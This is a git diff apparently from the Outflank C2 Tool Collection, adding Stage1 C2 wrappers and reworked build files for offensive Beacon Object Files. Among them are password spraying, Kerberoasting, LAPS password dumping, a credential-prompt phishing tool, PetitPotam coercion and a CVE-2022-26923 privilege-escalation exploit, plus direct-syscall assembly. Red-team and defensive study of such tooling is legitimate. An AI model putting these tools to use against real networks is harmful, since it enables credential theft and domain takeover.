b/BOF/Psw/psw_bof.s1.py new file mode 100644 index 0000000..583eee1 --- /dev/null +++ b/BOF/Psw/psw_bof.s1.py @@ -0,0 +1,9 @@ +from outflank_stage1.task.base_bof_task import BaseBOFTask + + +class PswBOF(BaseBOFTask): + def __init__(self): + super().__init__("psw", base_binary_name="Psw") + self.parser.description = ( + "Show Window titles from processes with active Windows." + ) diff --git a/BOF/Psx/SOURCE/Makefile b/BOF/Psx/SOURCE/Makefile index cee9021..6bc9e4a 100644 --- a/BOF/Psx/SOURCE/Makefile +++ b/BOF/Psx/SOURCE/Makefile @@ -1,16 +1,19 @@ -BOF := Psx +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).x64.o -c $(BOF).c $(CFLAGS) - $(STRIP_x64) --strip-unneeded ../$(BOF).x64.o - - $(CC_x86) -o ../$(BOF).x86.o -c $(BOF).c $(CFLAGS) -DWOW64 -fno-leading-underscore - $(STRIP_x86) --strip-unneeded ../$(BOF).x86.o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).*.o \ No newline at end of file + rm ../*.o diff --git a/BOF/Psx/SOURCE/Psx.c b/BOF/Psx/SOURCE/Psx.c index 7c95c71..e57631f 100644 --- a/BOF/Psx/SOURCE/Psx.c +++ b/BOF/Psx/SOURCE/Psx.c @@ -11,7 +11,7 @@ #define MAX_SEC_PRD 20 #define MAX_NAME 256 -#define MAX_STRING 8192 +#define MAX_STRING 18192 INT g_iGarbage = 1; LPSTREAM g_lpStream = (LPSTREAM)1; diff --git a/BOF/Psx/SOURCE/Syscalls-WoW64.h b/BOF/Psx/SOURCE/Syscalls-WoW64.h index be42438..2d067e2 100644 --- a/BOF/Psx/SOURCE/Syscalls-WoW64.h +++ b/BOF/Psx/SOURCE/Syscalls-WoW64.h @@ -12,18 +12,18 @@ __asm__("ExecuteSimpleSystemCallBase: \n\ mov ebp, esp \n\ mov ecx, fs:[0x30] \n\ ExecuteSimpleSystemCallBase_Check_X_X_XXXX: \n\ - cmp dword ptr [ecx+0x0A4], 10 \n\ + cmp word ptr [ecx+0x0A4], 10 \n\ je ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX \n\ - cmp dword ptr [ecx+0x0A4], 6 \n\ + cmp word ptr [ecx+0x0A4], 6 \n\ jne ExecuteSimpleSystemCallBase_Epilogue \n\ ExecuteSimpleSystemCallBase_Check_6_X_XXXX: \n\ - cmp dword ptr [ecx+0x0A8], 3 \n\ + cmp word ptr [ecx+0x0A8], 3 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX \n\ - cmp dword ptr [ecx+0x0A8], 2 \n\ + cmp word ptr [ecx+0x0A8], 2 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX \n\ - cmp dword ptr [ecx+0x0A8], 1 \n\ + cmp word ptr [ecx+0x0A8], 1 \n\ jne ExecuteSimpleSystemCallBase_Epilogue \n\ - cmp dword ptr [ecx+0x0AC], 7601 \n\ + cmp word ptr [ecx+0x0AC], 7601 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_1_7601 \n\ jmp ExecuteSimpleSystemCallBase_Epilogue \n\ ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX: \n\ diff --git a/BOF/Psx/SOURCE/Syscalls.h b/BOF/Psx/SOURCE/Syscalls.h index fd1194e..c683d77 100644 --- a/BOF/Psx/SOURCE/Syscalls.h +++ b/BOF/Psx/SOURCE/Syscalls.h @@ -9,19 +9,19 @@ __asm__("ExecuteSimpleSystemCallBase: \n\ mov r10, gs:[0x60] \n\ ExecuteSimpleSystemCallBase_Check_X_X_XXXX: \n\ - cmp dword ptr [r10+0x118], 10 \n\ + cmp word ptr [r10+0x118], 10 \n\ je ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX \n\ - cmp dword ptr [r10+0x118], 6 \n\ + cmp word ptr [r10+0x118], 6 \n\ jne ExecuteSimpleSystemCallBase_SystemCall_Unknown \n\ ExecuteSimpleSystemCallBase_Check_6_X_XXXX: \n\ - cmp dword ptr [r10+0x11c], 3 \n\ + cmp word ptr [r10+0x11c], 3 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_3_XXXX \n\ - cmp dword ptr [r10+0x11c], 2 \n\ + cmp word ptr [r10+0x11c], 2 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_2_XXXX \n\ - cmp dword ptr [r10+0x11c], 1 \n\ + cmp word ptr [r10+0x11c], 1 \n\ jne ExecuteSimpleSystemCallBase_SystemCall_Unknown \n\ ExecuteSimpleSystemCallBase_Check_6_1_XXXX: \n\ - cmp dword ptr [r10+0x120], 7601 \n\ + cmp word ptr [r10+0x120], 7601 \n\ je ExecuteSimpleSystemCallBase_SystemCall_6_1_7601 \n\ jmp ExecuteSimpleSystemCallBase_SystemCall_Unknown \n\ ExecuteSimpleSystemCallBase_SystemCall_10_0_XXXX: \n\ diff --git a/BOF/Smbinfo/SOURCE/Makefile b/BOF/Smbinfo/SOURCE/Makefile index 0c57177..6bc9e4a 100644 --- a/BOF/Smbinfo/SOURCE/Makefile +++ b/BOF/Smbinfo/SOURCE/Makefile @@ -1,10 +1,19 @@ -BOF := Smbinfo +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) +CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc +STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip +CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).o -c $(BOF).c - $(STRIP_x64) --strip-unneeded ../$(BOF).o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).o + rm ../*.o diff --git a/BOF/Smbinfo/SOURCE/Smbinfo.c b/BOF/Smbinfo/SOURCE/Smbinfo.c index 36ffed8..c5ad62f 100755 --- a/BOF/Smbinfo/SOURCE/Smbinfo.c +++ b/BOF/Smbinfo/SOURCE/Smbinfo.c @@ -40,15 +40,15 @@ VOID go(IN PCHAR Args, IN ULONG Length) { "Version: %d.%d, " "Name: %ls, " "Domain: %ls\n", pBuf->wki100_platform_id, pBuf->wki100_ver_major, pBuf->wki100_ver_minor, pBuf->wki100_computername, pBuf->wki100_langroup); - } + } else { BeaconPrintf(CALLBACK_ERROR, "A system error has occurred: %d\n", nStatus); } } if (pBuf != NULL) { - NetApiBufferFree(pBuf); - } + NetApiBufferFree(pBuf); + } return; } diff --git a/BOF/Smbinfo/Smbinfo.cna b/BOF/Smbinfo/Smbinfo.cna index 1a5f674..653e74d 100644 --- a/BOF/Smbinfo/Smbinfo.cna +++ b/BOF/Smbinfo/Smbinfo.cna @@ -19,7 +19,7 @@ alias Smbinfo { } # Read in the right BOF file - $handle = openf(script_resource("Smbinfo.o")); + $handle = openf(script_resource("Smbinfo." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); diff --git a/BOF/Smbinfo/Smbinfo_bof.s1.py b/BOF/Smbinfo/Smbinfo_bof.s1.py new file mode 100644 index 0000000..d323fd2 --- /dev/null +++ b/BOF/Smbinfo/Smbinfo_bof.s1.py @@ -0,0 +1,18 @@ +from typing import List, Tuple + +from outflank_stage1.task.base_bof_task import BaseBOFTask +from outflank_stage1.task.enums import BOFArgumentEncoding + + +class SmbinfoBOF(BaseBOFTask): + def __init__(self): + super().__init__("Smbinfo") + + self.parser.description = "Use NetWkstaGetInfo API to gather remote system version info." + + self.parser.add_argument("hostname", help="Target") + + def _encode_arguments_bof(self, arguments: List[str]) -> List[Tuple[BOFArgumentEncoding, str]]: + parser_arguments = self.parser.parse_args(arguments) + + return [(BOFArgumentEncoding.WSTR, parser_arguments.hostname)] diff --git a/BOF/SprayAD/SOURCE/Makefile b/BOF/SprayAD/SOURCE/Makefile index 6e89d83..6bc9e4a 100644 --- a/BOF/SprayAD/SOURCE/Makefile +++ b/BOF/SprayAD/SOURCE/Makefile @@ -1,10 +1,19 @@ -BOF := SprayAD +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) +CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc +STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip +CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).o -c $(BOF).c - $(STRIP_x64) --strip-unneeded ../$(BOF).o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).o + rm ../*.o diff --git a/BOF/SprayAD/SprayAD.cna b/BOF/SprayAD/SprayAD.cna index 442d46d..e1575ff 100644 --- a/BOF/SprayAD/SprayAD.cna +++ b/BOF/SprayAD/SprayAD.cna @@ -23,7 +23,7 @@ alias SprayAD { } # Read in the right BOF file - $handle = openf(script_resource("SprayAD.o")); + $handle = openf(script_resource("SprayAD." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); diff --git a/BOF/SprayAD/SprayAD_bof.s1.py b/BOF/SprayAD/SprayAD_bof.s1.py new file mode 100644 index 0000000..fece8ce --- /dev/null +++ b/BOF/SprayAD/SprayAD_bof.s1.py @@ -0,0 +1,79 @@ +from typing import List, Tuple + +from outflank_stage1.task.base_bof_task import BaseBOFTask +from outflank_stage1.task.enums import BOFArgumentEncoding +from outflank_stage1.task.exceptions import TaskInvalidArgumentsException + + +class SprayAD(BaseBOFTask): + def __init__(self): + super().__init__("SprayAD") + + self.parser.add_argument("password", help="The password to spray.") + + self.parser.add_argument( + "filter", + default="*", + nargs="?", + help="Username filter to use, such as admin* (default = *).", + ) + + self.parser.add_argument( + "ldap", + choices=["ldap"], + metavar="ldap", + nargs="?", + help="Use LDAP instead of Active Directory.", + ) + + self.parser.description = "Perform a Kerberos or LDAP password spraying attack against Active Directory." + self.parser.epilog = ( + "Example usage:\n" + " - Kerberos password spray:\n" + " SprayAD Welcome123\n" + " - Kerberos password spray with account filter to target accounts beginning with adm:\n" + " SprayAD Welcome123 adm*\n" + " - LDAP password spray\n" + " SprayAD Welcome123 ldap" + ) + + def validate_arguments(self, arguments: List[str]): + super().validate_arguments(arguments) + + parser_arguments = self.parser.parse_args(arguments) + stripped_password = parser_arguments.password.lstrip('"').rstrip('"') + + if len(stripped_password) == 0: + raise TaskInvalidArgumentsException("Please specify a password to spray.") + + def rewrite_arguments(self, arguments: List[str]) -> List[str]: + if len(arguments) == 2 and arguments[1] == '""': + arguments[1] = "*" + + if len(arguments) == 2 and arguments[1] == "ldap": + arguments[1] = "*" + arguments.append("ldap") + + return arguments + + def _encode_arguments_bof(self, arguments: List[str]) -> List[Tuple[BOFArgumentEncoding, str]]: + parser_arguments = self.parser.parse_args(arguments) + + encoded_arguments = [ + ( + BOFArgumentEncoding.WSTR, + parser_arguments.password.lstrip('"').rstrip('"'), + ), + (BOFArgumentEncoding.WSTR, parser_arguments.filter), + ] + + if "ldap" in parser_arguments and parser_arguments.ldap == "ldap": + encoded_arguments.append((BOFArgumentEncoding.WSTR, "ldap")) + + return encoded_arguments + + def run(self, arguments: List[str]): + parser_arguments = self.parser.parse_args(arguments) + + self.append_response(f'Let\'s start spraying user accounts with password "{parser_arguments.password}"\n\n') + super().run(arguments) diff --git a/BOF/Stage1-OC2TC-bof.py b/BOF/Stage1-OC2TC-bof.py index bb12039..3a724d6 100644 --- a/BOF/Stage1-OC2TC-bof.py +++ b/BOF/Stage1-OC2TC-bof.py @@ -24,6 +24,7 @@ """ import sys, inspect + sys.path.append("../..") sys.path.append("/code/shared/bofs/") sys.path.append("/shared/bofs/") @@ -32,171 +33,239 @@ CURRENT_PATH = os.path.abspath(os.path.dirname(__file__)) -def bof_path64(name, arch): #arch is either 64 or 32 +def bof_path64(name, arch): # arch is either 64 or 32 return "{}/{}.o".format(name, name) if arch == 64 else "" -def bof_path(name, arch): #arch is either 64 or 32 + +def bof_path(name, arch): # arch is either 64 or 32 return "{}/{}.x{}.o".format(name, name, 64 if arch == 64 else 86) -class OTCBOFBaseClass(BOFModuleClass): # ExampleLibBaseClass is the commandline command name + +class OTCBOFBaseClass( + BOFModuleClass +): # ExampleLibBaseClass is the commandline command name def __init__(self): - super().__init__(CURRENT_PATH, bof_path64(self.__class__.__name__, 64), "") - -class OTCBOF6486BaseClass(BOFModuleClass): # ExampleLibBaseClass is the commandline command name + super().__init__( + CURRENT_PATH, + bof_path(self.__class__.__name__, 64), + bof_path(self.__class__.__name__, 32), + ) + + +class OTCBOF64BaseClass( + BOFModuleClass +): # ExampleLibBaseClass is the commandline command name def __init__(self): - super().__init__(CURRENT_PATH, bof_path(self.__class__.__name__, 64), bof_path(self.__class__.__name__, 32)) - + super().__init__(CURRENT_PATH, bof_path64(self.__class__.__name__, 64), "") + ################################################ class AddMachineAccount(BOFModuleClass): - """ Outflank C2 Tool Collection AddMachineAccount BOF Module """ + """Outflank C2 Tool Collection AddMachineAccount BOF Module""" + def __init__(self): - super().__init__(CURRENT_PATH, "AddMachineAccount/AddMachineAccount.o", "") - self.args = "ZZ" # required, optional - + super().__init__( + CURRENT_PATH, + "AddMachineAccount/AddMachineAccount.x64.o", + "AddMachineAccount/AddMachineAccount.x86.o", + ) + self.args = "ZZ" # required, optional + def description(self): # Short return "Add a computer account to the Active Directory domain." - def help(self): # Long - return "Synopsis: AddMachineAccount [Computername] [Password ]\n\n" + \ - "Use Active Directory Service Interfaces (ADSI) to add a computer account to AD." - + def help(self): # Long + return ( + "Synopsis: AddMachineAccount [Computername] [Password ]\n\n" + + "Use Active Directory Service Interfaces (ADSI) to add a computer account to AD." + ) + def split_arguments(self, arguments): - return arguments.strip().split(None, 1) # Only split on the first space + return arguments.strip().split(None, 1) # Only split on the first space def validate_arguments(self, argumentList): if not argumentList or len(argumentList) == 0: raise ValueError("[!] Error: Please specify a computeraccount name.") return argumentList + class DelMachineAccount(BOFModuleClass): - """ Outflank C2 Tool Collection DelMachineAccount BOF Module """ + """Outflank C2 Tool Collection DelMachineAccount BOF Module""" + def __init__(self): - super().__init__(CURRENT_PATH, "AddMachineAccount/DelMachineAccount.o", "") - self.args = "Z" # required - + super().__init__( + CURRENT_PATH, + "AddMachineAccount/DelMachineAccount.x64.o", + "AddMachineAccount/DelMachineAccount.x86.o", + ) + self.args = "Z" # required + def description(self): # Short return "Remove a computer account from the Active Directory domain." - def help(self): # Long - return "Synopsis: DelMachineAccount [Computername]\n\n" + \ - "Use Active Directory Service Interfaces (ADSI) to delete a computer account from AD." + def help(self): # Long + return ( + "Synopsis: DelMachineAccount [Computername]\n\n" + + "Use Active Directory Service Interfaces (ADSI) to delete a computer account from AD." + ) def validate_arguments(self, argumentList): if not argumentList or len(argumentList) == 0: raise ValueError("[!] Error: Please specify a computeraccount name.") return argumentList - + + class GetMachineAccountQuota(BOFModuleClass): - """ Outflank C2 Tool Collection GetMachineAccountQuota BOF Module """ + """Outflank C2 Tool Collection GetMachineAccountQuota BOF Module""" + def __init__(self): - super().__init__(CURRENT_PATH, "AddMachineAccount/GetMachineAccountQuota.o", "") - + super().__init__( + CURRENT_PATH, + "AddMachineAccount/GetMachineAccountQuota.x64.o", + "AddMachineAccount/GetMachineAccountQuota.x86.o", + ) + def description(self): # Short return "Read the MachineAccountQuota value from the Active Directory domain." - def help(self): # Long - return "Synopsis: GetMachineAccountQuota\n\n" + \ - "Use Active Directory Service Interfaces (ADSI) to read the ms-DS-MachineAccountQuota value from AD." - + def help(self): # Long + return ( + "Synopsis: GetMachineAccountQuota\n\n" + + "Use Active Directory Service Interfaces (ADSI) to read the ms-DS-MachineAccountQuota value from AD." + ) + + class CVE202226923(BOFModuleClass): - """ Outflank C2 Tool Collection CVE-20222-6923 BOF Module """ + """Outflank C2 Tool Collection CVE-20222-6923 BOF Module""" + def __init__(self): - super().__init__(CURRENT_PATH, "CVE-2022-26923/CVE-2022-26923.o", "") + super().__init__( + CURRENT_PATH, + "CVE-2022-26923/CVE-2022-26923.x64.o", + "CVE-2022-26923/CVE-2022-26923.x86.o", + ) self.args = "ZZ" - + def description(self): # Short return "Active Directory Domain Privilege Escalation exploit." - def help(self): # Long - return "Synopsis: CVE-2022-26923 [Computername] [Password ]\n" + \ - "Use Active Directory Service Interfaces (ADSI) to add a computer account with dNSHostName attribute set to the DC fqdn." + def help(self): # Long + return ( + "Synopsis: CVE-2022-26923 [Computername] [Password ]\n" + + "Use Active Directory Service Interfaces (ADSI) to add a computer account with dNSHostName attribute set to the DC fqdn." + ) def validate_arguments(self, argumentList): if not argumentList or len(argumentList) == 0: raise ValueError("[!] Error: Specify a computeraccount name!") return argumentList + class Askcreds(OTCBOFBaseClass): - """ Outflank C2 Tool Collection Askcreds BOF Module """ + """Outflank C2 Tool Collection Askcreds BOF Module""" + def __init__(self): super().__init__() - self.args = "Z" # optional - + self.args = "Z" # optional + def description(self): # Short return "Collect passwords using CredUIPromptForWindowsCredentialsName." - def help(self): # Long - return "Synopsis: Askcreds [optional reason]\n" + \ - "Collect passwords by simply asking." + def help(self): # Long + return ( + "Synopsis: Askcreds [optional reason]\n" + + "Collect passwords by simply asking." + ) def split_arguments(self, arguments): - return [arguments] # All further text (including spaces) is seen as one argument + return [ + arguments + ] # All further text (including spaces) is seen as one argument class Domaininfo(OTCBOFBaseClass): - """ Outflank C2 Tool Collection Domaininfo BOF Module """ + """Outflank C2 Tool Collection Domaininfo BOF Module""" + def description(self): # Short return "Using Active Directory Domain Services to enumerate domain information." - def help(self): # Long - return "Using Active Directory Domain Services to enumerate domain information.\n\n" + \ - "Synopsis: Domaininfo" + def help(self): # Long + return ( + "Using Active Directory Domain Services to enumerate domain information.\n\n" + + "Synopsis: Domaininfo" + ) class Kerberoast(OTCBOFBaseClass): - """ Outflank C2 Tool Collection Kerberoast BOF Module """ + """Outflank C2 Tool Collection Kerberoast BOF Module""" + def __init__(self): super().__init__() self.args = "ZZ" - + def description(self): # Short return "Perform Kerberoasting against all (or specified) SPN enabled accounts." - - def help(self): # Long - return "List all SPN enabled user/service accounts or request service tickets (TGS-REP) which can be cracked offline using HashCat.\n\n" + \ - "Synopsis: Kerberoast [list, list-no-aes, roast or roast-no-aes] [account ]\n\n" - + + def help(self): # Long + return ( + "List all SPN enabled user/service accounts or request service tickets (TGS-REP) which can be cracked offline using HashCat.\n\n" + + "Synopsis: Kerberoast [list, list-no-aes, roast or roast-no-aes] [account ]\n\n" + ) + def split_arguments(self, arguments): - return arguments.strip().split(None, 1) # Only split on the first space + return arguments.strip().split(None, 1) # Only split on the first space def validate_arguments(self, argumentList): - if not argumentList or len(argumentList) == 0 or argumentList[0] not in ['list', 'list-no-aes', 'roast', 'roast-no-aes']: - raise ValueError("[!] Error: Please specify an action (list, list-no-aes, roast or roast-no-aes).") + if ( + not argumentList + or len(argumentList) == 0 + or argumentList[0] not in ["list", "list-no-aes", "roast", "roast-no-aes"] + ): + raise ValueError( + "[!] Error: Please specify an action (list, list-no-aes, roast or roast-no-aes)." + ) return argumentList - + + class Lapsdump(OTCBOFBaseClass): - """ Outflank C2 Tool Collection Lapsdump BOF Module """ + """Outflank C2 Tool Collection Lapsdump BOF Module""" + def __init__(self): super().__init__() self.args = "Z" - + def description(self): # Short return "Dump LAPS passwords from specified computers within Active Directory." - def help(self): # Long - return "Synopsis: Lapsdump [target]\n\n" + \ - "Use Active Directory Service Interfaces (ADSI) to extract LAPS passwords from AD." + def help(self): # Long + return ( + "Synopsis: Lapsdump [target]\n\n" + + "Use Active Directory Service Interfaces (ADSI) to extract LAPS passwords from AD." + ) def validate_arguments(self, argumentList): if not argumentList or len(argumentList) == 0: raise ValueError("[!] Error: Please specify a Target: IP or Hostname.") return argumentList -class PetitPotam(OTCBOFBaseClass): - """ Outflank C2 Tool Collection PetitPotam BOF Module """ + +class PetitPotam(OTCBOF64BaseClass): + """Outflank C2 Tool Collection PetitPotam BOF Module""" + def __init__(self): super().__init__() self.args = "ZZ" - + def description(self): # Short return "Coerce Windows hosts to authenticate to other machines via MS-EFSRPC." - def help(self): # Long - return "Synopsis: PetitPotam \n" + \ - "Bof implementation of the PetitPotam exploit." + def help(self): # Long + return ( + "Synopsis: PetitPotam \n" + + "Bof implementation of the PetitPotam exploit." + ) def validate_arguments(self, argumentList): if not argumentList or len(argumentList) < 1: @@ -205,28 +274,39 @@ def validate_arguments(self, argumentList): raise ValueError("[!] Error: Please specify a target server!") return argumentList -class Psc(OTCBOF6486BaseClass): - """ Outflank C2 Tool Collection Psc BOF Module """ + +class Psc(OTCBOFBaseClass): + """Outflank C2 Tool Collection Psc BOF Module""" + def description(self): # Short return "Show detailed information from processes with established TCP and RDP connections." - def help(self): # Long - return "Synopsis: psc\n\n" + \ - "Shows a detailed list of all processes with established TCP and RDP connections." - + def help(self): # Long + return ( + "Synopsis: psc\n\n" + + "Shows a detailed list of all processes with established TCP and RDP connections." + ) + + class Psw(OTCBOFBaseClass): - """ Outflank C2 Tool Collection Psw BOF Module """ + """Outflank C2 Tool Collection Psw BOF Module""" + def description(self): # Short return "Show Window titles from processes with active Windows." - def help(self): # Long - return "Synopsis: Psw\n\n" + \ - "Show Window titles from processes with active Windows." + def help(self): # Long + return ( + "Synopsis: Psw\n\n" + + "Show Window titles from processes with active Windows." + ) + # Psx not included because Stage1 supports it natively + class Smbinfo(OTCBOFBaseClass): - """ Outflank C2 Tool Collection Smbinfo BOF Module """ + """Outflank C2 Tool Collection Smbinfo BOF Module""" + def __init__(self): super().__init__() self.args = "Z" @@ -234,60 +314,80 @@ def __init__(self): def description(self): # Short return "Gather remote system version info." - def help(self): # Long - return "Synopsis: Smbinfo [target]\n\n" + \ - "Use NetWkstaGetInfo API to gather remote system version info." - + def help(self): # Long + return ( + "Synopsis: Smbinfo [target]\n\n" + + "Use NetWkstaGetInfo API to gather remote system version info." + ) + def validate_arguments(self, argumentList): if not argumentList or len(argumentList) == 0: raise ValueError("[!] Error: Specify an ip or hostname!") return argumentList - + + class SprayAD(OTCBOFBaseClass): - """ Outflank C2 Tool Collection SprayAD BOF Module """ + """Outflank C2 Tool Collection SprayAD BOF Module""" + def __init__(self): super().__init__() self.args = "ZZZ" - + def description(self): # Short return "Perform a Kerberos or ldap password spraying attack against Active Directory." - def help(self): # Long - return "Test all enabled Active Directory useraccounts for valid passwords.\n\n" + \ - "Synopsis: SprayAD [password] [filter ] [ldap ]" - + def help(self): # Long + return ( + "Test all enabled Active Directory useraccounts for valid passwords.\n\n" + + "Synopsis: SprayAD [password] [filter ] [ldap ]" + ) + def validate_arguments(self, argumentList): if not argumentList or len(argumentList) == 0: raise ValueError("[!] Error: Please specify a password to test!") if len(argumentList) == 1: argumentList.append("*") return argumentList - + + class StartWebClient(OTCBOFBaseClass): - """ Outflank C2 Tool Collection StartWebClient BOF Module """ + """Outflank C2 Tool Collection StartWebClient BOF Module""" + def description(self): # Short return "Starting WebClient Service Programmatically." - def help(self): # Long - return "Synopsis: StartWebClient\n\n" + \ - "Starting WebClient Service Programmatically" + def help(self): # Long + return ( + "Synopsis: StartWebClient\n\n" + + "Starting WebClient Service Programmatically" + ) + class Winver(OTCBOFBaseClass): - """ Outflank C2 Tool Collection Winver BOF Module """ + """Outflank C2 Tool Collection Winver BOF Module""" + def description(self): # Short return "Display the version of Windows that is running, the build number and patch release (Update Build Revision)." - def help(self): # Long - return "Synopsis: Winver\n\n" + \ - "Display Windows version info." - + def help(self): # Long + return "Synopsis: Winver\n\n" + "Display Windows version info." + # Main entry point of the file -if __name__ == '__main__': +if __name__ == "__main__": for name, obj in inspect.getmembers(sys.modules[__name__]): - if inspect.isclass(obj) and issubclass(obj, BOFModuleClass) and name != "BOFModuleClass" and name.find("BaseClass") == -1: + if ( + inspect.isclass(obj) + and issubclass(obj, BOFModuleClass) + and name != "BOFModuleClass" + and name.find("BaseClass") == -1 + ): try: instance_of_obj = obj() instance_of_obj.test() except Exception as error: - print('[!] Error during test {}: {}'.format(type(error).__name__, name, str(error))) + print( + "[!] Error during test {}: {}".format( + type(error).__name__, name, str(error) + ) + ) diff --git a/BOF/StartWebClient/SOURCE/Makefile b/BOF/StartWebClient/SOURCE/Makefile index 8ac635b..6bc9e4a 100644 --- a/BOF/StartWebClient/SOURCE/Makefile +++ b/BOF/StartWebClient/SOURCE/Makefile @@ -1,10 +1,19 @@ -BOF := StartWebClient +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) +CC_x86 := i686-w64-mingw32-gcc CC_x64 := x86_64-w64-mingw32-gcc +STRIP_x86 := i686-w64-mingw32-strip STRIP_x64 := x86_64-w64-mingw32-strip +CFLAGS := -masm=intel -all: - $(CC_x64) -o ../$(BOF).o -c $(BOF).c - $(STRIP_x64) --strip-unneeded ../$(BOF).o +all: $(OBJS) + +%.o: %.c + $(CC_x64) $(CFLAGS) -o ../$*.x64.o -c $< + $(STRIP_x64) --strip-unneeded ../$*.x64.o + + $(CC_x86) $(CFLAGS) -o ../$*.x86.o -DWOW64 -fno-leading-underscore -c $< + $(STRIP_x86) --strip-unneeded ../$*.x86.o clean: - rm ../$(BOF).o + rm ../*.o diff --git a/BOF/StartWebClient/SOURCE/StartWebClient.c b/BOF/StartWebClient/SOURCE/StartWebClient.c index 832302a..4c10fe0 100644 --- a/BOF/StartWebClient/SOURCE/StartWebClient.c +++ b/BOF/StartWebClient/SOURCE/StartWebClient.c @@ -6,26 +6,26 @@ VOID go(IN PCHAR Args, IN ULONG Length) { - ULONG status = ERROR_SUCCESS; - REGHANDLE RegistrationHandle; - EVENT_DESCRIPTOR EventDescriptor; - const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider = - { 0x22B6D684, 0xFA63, 0x4578, - { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } }; + ULONG status = ERROR_SUCCESS; + REGHANDLE RegistrationHandle; + EVENT_DESCRIPTOR EventDescriptor; + const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider = + { 0x22B6D684, 0xFA63, 0x4578, + { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } }; - status = ADVAPI32$EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider, NULL, NULL, &RegistrationHandle); - if (status != ERROR_SUCCESS) { - BeaconPrintf(CALLBACK_ERROR, "EventRegister failed with error value %lu\n", status); - return; - } + status = ADVAPI32$EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider, NULL, NULL, &RegistrationHandle); + if (status != ERROR_SUCCESS) { + BeaconPrintf(CALLBACK_ERROR, "EventRegister failed with error value %lu\n", status); + return; + } - EventDescCreate(&EventDescriptor, 1, 0, 0, 4, 0, 0, 0); - status = ADVAPI32$EventWrite(RegistrationHandle, &EventDescriptor, 0, NULL); - if (status != ERROR_SUCCESS) { - BeaconPrintf(CALLBACK_ERROR, "EventWrite failed with 0x%x\n", status); - return; - } + EventDescCreate(&EventDescriptor, 1, 0, 0, 4, 0, 0, 0); + status = ADVAPI32$EventWrite(RegistrationHandle, &EventDescriptor, 0, NULL); + if (status != ERROR_SUCCESS) { + BeaconPrintf(CALLBACK_ERROR, "EventWrite failed with 0x%x\n", status); + return; + } - ADVAPI32$EventUnregister(RegistrationHandle); - BeaconPrintf(CALLBACK_OUTPUT, "[+] WebClient service started successfully.\n"); + ADVAPI32$EventUnregister(RegistrationHandle); + BeaconPrintf(CALLBACK_OUTPUT, "[+] WebClient service started successfully.\n"); } diff --git a/BOF/StartWebClient/StartWebClient.cna b/BOF/StartWebClient/StartWebClient.cna index 711fe53..460bf60 100644 --- a/BOF/StartWebClient/StartWebClient.cna +++ b/BOF/StartWebClient/StartWebClient.cna @@ -10,7 +10,7 @@ alias StartWebClient { $bid = $1; # Read in the right BOF file - $handle = openf(script_resource("StartWebClient.o")); + $handle = openf(script_resource("StartWebClient." . barch($bid) . ".o")); $data = readb($handle, -1); closef($handle); diff --git a/BOF/StartWebClient/StartWebClient_bof.s1.py b/BOF/StartWebClient/StartWebClient_bof.s1.py new file mode 100644 index 0000000..62a7afa --- /dev/null +++ b/BOF/StartWebClient/StartWebClient_bof.s1.py @@ -0,0 +1,10 @@ +from typing import List, Tuple + +from outflank_stage1.task.base_bof_task import BaseBOFTask +from outflank_stage1.task.enums import BOFArgumentEncoding + + +class StartWebClientBOF(BaseBOFTask): + def __init__(self): + super().__init__("StartWebClient") + self.parser.description = "Starting WebClient Service Programmatically." diff --git a/BOF/Winver/SOURCE/Makefile b/BOF/Winver/SOURCE/Makefile index 003bcfd..6bc9e4a 100644 --- a/BOF/Winver/SOURCE/Makefile +++ b/BOF/Winver/SOURCE/Makefile @@ -1,11 +1,19 @@ -BOF := Winver +SRC = $(wildcard *.c) +OBJS = $(patsubst %.c, %.o, $(SRC)) 